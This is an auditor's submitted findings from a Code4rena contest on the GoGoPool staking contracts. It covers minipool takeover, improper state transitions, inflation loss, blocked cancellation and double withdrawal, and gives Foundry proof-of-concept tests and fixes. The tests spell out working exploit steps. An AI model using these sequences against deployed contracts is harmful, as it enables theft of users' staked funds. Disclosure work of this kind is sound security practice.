GoGoPool contest - peritoflores's results

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L163-L164 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L243

Vulnerability details

Impact

Users can lose funds

PoC

Any staker can call createPool() with an existing nodeID in withdrawable state.

According to these comments updates are only allowed if pool is eitherfinished or cancelled.

However, if the pool is in Withdrawable state requireValidStateTransitionwill succeed, minipool data will be reset and owner overridden.

Test

In this test nodeOp2 will pwn the minipool created by nodeOp

//Add to MiniPoolManager.t.sol
function testPwnMinipoolinWithdrawableState() public {
address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
address liqStaker2 = getActorWithTokens("liqStaker2", MAX_AMT, MAX_AMT);
address nodeOp2 = getActorWithTokens("nodeOp2", MAX_AMT, MAX_AMT);
vm.prank(liqStaker2);
ggAVAX.depositAVAX{value: MAX_AMT}();
vm.prank(liqStaker1);
ggAVAX.depositAVAX{value: MAX_AMT}();
uint256 duration = 14 days;
uint256 depositAmt = 1000 ether;
uint256 avaxAssignmentRequest = 1000 ether;
uint256 validationAmt = depositAmt + avaxAssignmentRequest;
uint128 ggpStakeAmt = 200 ether;
vm.startPrank(nodeOp);
ggp.approve(address(staking), MAX_AMT);
staking.stakeGGP(ggpStakeAmt);
MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
vm.stopPrank();
vm.startPrank(address(rialto));
minipoolMgr.claimAndInitiateStaking(mp1.nodeID);
bytes32 txID = keccak256("txid");
minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp);
skip(duration);
uint256 rewards = 10 ether;
uint256 halfRewards = rewards / 2;
deal(address(rialto), address(rialto).balance + rewards);
minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp1.nodeID, block.timestamp, rewards);
uint256 percentage = dao.getMinipoolNodeCommissionFeePct();
uint256 commissionFee = (percentage).mulWadDown(halfRewards);
vm.stopPrank();
vm.startPrank(nodeOp2);
ggp.approve(address(staking), MAX_AMT);
staking.stakeGGP(ggpStakeAmt);
MinipoolManager.Minipool memory mp2 = createMinipoolwithNodeID(mp1.nodeID, depositAmt, avaxAssignmentRequest, duration);

assertEq(mp2.owner,nodeOp2);
 }

​

//Add this to Base.t.sol
  function createMinipoolwithNodeID(
	address nodeID,
	uint256 depositAmt,
	uint256 avaxAssignmentRequest,
	uint256 duration
) internal returns (MinipoolManager.Minipool memory) {
	uint256 delegationFee = 0.2 ether;
	minipoolMgr.createMinipool{value: depositAmt}(nodeID, duration, delegationFee, avaxAssignmentRequest);
	int256 index = minipoolMgr.getIndexOf(nodeID);
	return minipoolMgr.getMinipool(index);
}

Recommended

I am not sure about your design but maybe update should be allowed only to owner.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L164 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L243

Vulnerability details

Impact

Improper state transition

PoC

A multisign can accidentally move a withdrawable pool to finished with finishFailed

function testFinishFailedWitdrawable() public {
address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
address liqStaker2 = getActorWithTokens("liqStaker2", MAX_AMT, MAX_AMT);
address nodeOp2 = getActorWithTokens("nodeOp2", MAX_AMT, MAX_AMT);
vm.prank(liqStaker2);
ggAVAX.depositAVAX{value: MAX_AMT}();
vm.prank(liqStaker1);
ggAVAX.depositAVAX{value: MAX_AMT}();
uint256 duration = 14 days;
uint256 depositAmt = 1000 ether;
uint256 avaxAssignmentRequest = 1000 ether;
uint256 validationAmt = depositAmt + avaxAssignmentRequest;
uint128 ggpStakeAmt = 200 ether;
vm.startPrank(nodeOp);
ggp.approve(address(staking), MAX_AMT);
staking.stakeGGP(ggpStakeAmt);
MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
vm.stopPrank();
vm.startPrank(address(rialto));
minipoolMgr.claimAndInitiateStaking(mp1.nodeID);
bytes32 txID = keccak256("txid");
minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp);
skip(duration);
uint256 rewards = 10 ether;
uint256 halfRewards = rewards / 2;
deal(address(rialto), address(rialto).balance + rewards);
minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp1.nodeID, block.timestamp, rewards);
uint256 percentage = dao.getMinipoolNodeCommissionFeePct();
uint256 commissionFee = (percentage).mulWadDown(halfRewards);
vm.stopPrank();
  vm.startPrank(address(rialto));
minipoolMgr.finishFailedMinipoolByMultisig(mp1.nodeID);
}

Recommended

In addition to requireValidStateTransition I believe that you need to the check that the current state is MinipoolStatus.Error.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/RewardsPool.sol#L98

Vulnerability details

Impact

​ Inflation is less than what is specified

PoC

​ Every time you run startRewardsCycle() after at least one cycle has elapsed you calculate inflation() in discrete times of one day (how many days has passed) ​ However, when you set InflationIntervalStartTime, which is used to calculate next inflation period you set it to current block.timestamp - lastIntervalStartTime.
​ This means that you lose the interest generated between current block.timestamp and the moment the day was truncated. ​ It all depends how late startRewardsCycle() was called. In the worst scenario inflation could be reduced to half.

Recommended

You need to increment InflationIntervalStartTime in 1 day * cycleselapsed to avoid this. This way for example you know at 10PM you can calculate new interest, like many banks do.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L664 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L520

Vulnerability details

Impact

Pool's owner can enable/disable cancelMinipoolByMultisig

PoC

When you transfer ETH (or AVAX in this case), the receiver can intentionally reject funds by reverting the fallback function. This causes call to return false and safeTransfer to revert the main transaction.

This is not a problem in most of the cases because the the receiver is either the sender or a known contract.

In your protocol these examples are shown in two functions.

While cancelMinipool is ok because the sender is the receiver (owner of the pool). cancelMinipoolByMultisig is vulnerable to this attack. The owner of the pool and can disable the cancel.

Recommended

​ You need to implement a withdrawable pattern. The withdrawal pattern places the responsibility of claiming funds to the receiver, the recipient has to send a transaction to withdraw and obtain their funds .

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L287

Vulnerability details

Impact

Pool owner can withdraw a minipool twice

PoC

In the testRecreateMinipool() cycle after recordStakingEnd and just before minipool calls recreateMinipool and attacker, owner of minipool can call withdraw, receive funds and get the pool recreated.

Here is the test.

Test

function testWithdrawInBetweenRecreateMinipool() public {
   uint256 duration = 4 weeks;
   uint256 depositAmt = 1000 ether;
   uint256 avaxAssignmentRequest = 1000 ether;
   uint256 validationAmt = depositAmt + avaxAssignmentRequest;
   // Enough to start but not to re-stake, we will add more later
   uint128 ggpStakeAmt = 200 ether;
   address nodeOp2 = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);
   vm.startPrank(nodeOp);
   ggp.approve(address(staking), MAX_AMT);
   staking.stakeGGP(ggpStakeAmt);
   MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
   vm.stopPrank();
   vm.startPrank(nodeOp2);
   ggp.approve(address(staking), MAX_AMT);
   staking.stakeGGP(10*ggpStakeAmt);
  MinipoolManager.Minipool memory mp2 = createMinipool(10*depositAmt, 10*avaxAssignmentRequest, duration);
   vm.stopPrank();
   address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
   vm.prank(liqStaker1);
   ggAVAX.depositAVAX{value: MAX_AMT}();
   vm.prank(address(rialto));
    minipoolMgr.claimAndInitiateStaking(mp.nodeID);
    bytes32 txID = keccak256("txid");
    vm.prank(address(rialto));
    minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);
    skip(duration / 2);
   // Give rialto the rewards it needs
   uint256 rewards = 10 ether;
   deal(address(rialto), address(rialto).balance + rewards);
 //deal(address(rialto), 100_000 ether);
// Pay out the rewards
 vm.prank(address(rialto));
 minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, rewards);
 vm.prank(address(nodeOp));
minipoolMgr.withdrawMinipoolFunds(mp.nodeID);

vm.prank(address(rialto));
// Now try to restake
//vm.expectRevert(MinipoolManager.InvalidMultisigAddress.selector);
minipoolMgr.recreateMinipool(mp.nodeID);
 }

Recommended

A possible solution is to reset staking variables in withdraw